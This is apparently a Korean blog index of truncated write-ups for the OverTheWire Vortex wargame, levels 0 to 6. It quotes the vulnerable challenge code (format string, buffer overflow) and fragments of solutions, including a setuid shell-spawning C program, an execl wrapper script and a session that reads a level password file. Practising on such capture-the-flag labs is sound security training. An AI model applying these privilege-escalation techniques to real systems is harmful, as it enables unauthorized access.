[카테고리:] Vortex

Vortex – Level 6

http://www.overthewire.org/wargames/vortex/level6.shtml 문제를 보면 바이너리 파일을 제공해 준다. 해당 바이너리를 IDA를 통해 확인을 해보면 아래와 같다. restart() 함수가 존재한다. restart() 함수의 역활을 보니 argv를 받아 execlp() 함수로 실행해주는 함수이다. 그렇다면 그냥 쉽게 쉘을 실행시키는 코드를 짜서 restart() 함수를 이용하여 실행하면 될것으로 보인다. 공격해보자! vortex6@games /tmp/byjjoon_6 $ cat shell.c int main() { setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); execl("/bin/bash", …

Vortex – Level 5

http://www.overthewire.org/wargames/vortex/level5.shtml 코드를 보면 해당 MD5값을 찾으라고 한다. 155fb95d04287b757c996d77b5ea51f7 별 고민 없이 지난번에 소개한 해쉬 크랙 툴을 이용하여 검색해 보았다. 결과는 rlTf6 vortex5@games ~ $ /vortex/level5 Password: 6:36 You got the right password, congrats! sh-3.2$ cat /etc/vortex_pass/vortex6 *uy5qDRb2 sh-3.2$ 이렇게 풀어도 되나? -_-;

Vortex – Level 4

http://www.overthewire.org/wargames/vortex/level4.shtml // — andrewg, original author was zen-parse 🙂 #include <stdlib.h> int main(int argc, char **argv) { if(argc) exit(0); printf(argv[3]); exit(EXIT_FAILURE); } 먼저 회피를 위해서 if(argc)를 회피해야 하므로 execl() 함수를 이용한다. 방법은 아래와 같이 간단하게 Python 스크립트로 작성하여 회피할 수 있다. vortex4@games /tmp/byjjoon $ cat go.py #!/usr/bin/python import os os.execl('/vortex/level4') vortex4@games /tmp/byjjoon $ ./go.py SHELL=/bin/bashvortex4@games …

Vortex – Level 3

http://www.overthewire.org/wargames/vortex/level3.shtml /* * 0xbadc0ded.org Challenge #02 (2003-07-08) * * Joel Eriksson <[email protected]> */ #include <string.h> #include <stdlib.h> #include <stdio.h> unsigned long val = 31337; unsigned long *lp = &val; int main(int argc, char **argv) { unsigned long **lpp = &lp, *tmp; char buf[128]; if (argc != 2) exit(1); strcpy(buf, argv[1]); if (((unsigned long) lpp & …

Vortex – Level 2

http://www.overthewire.org/wargames/vortex/level2.shtml 먼저 코드를 보자. tar와 관련된 문제인거 같다. #include <stdlib.h> #include <stdio.h> #include <sys/types.h> int main(int argc, char **argv) { char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] }; execv(args[0], args); } tar 명령어만 알고 있다면 쉽게 풀 수 있는 문제다. 인자로 패스워드를 주면 된다. 패스워드가 위치한 경로로 이동한 후 작업을 하면 된다. …

Vortex – Level 1

http://www.overthewire.org/wargames/vortex/level1.shtml 먼저 소스를 보면 다음과 같다. #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); } void print(unsigned char *buf, int len) { int i; printf("[ "); for(i=0; i < len; i++) printf("%x ", buf[i]); printf(" ]\n"); } int main() { unsigned …

Vortex – Level 0

http://www.overthewire.org/wargames/vortex/level0.shtml Level Goal: Your goal is to connect to port 5842 on vortex.labs.pulltheplug.org and read in 4 unsigned integers. Add these integers together and send back the results to get a username and password for level 1. Note: that vortex is on an x86 machine (meaning, a little endian architecture) 소켓 프로그래밍을 통하여 4개의 unsigned …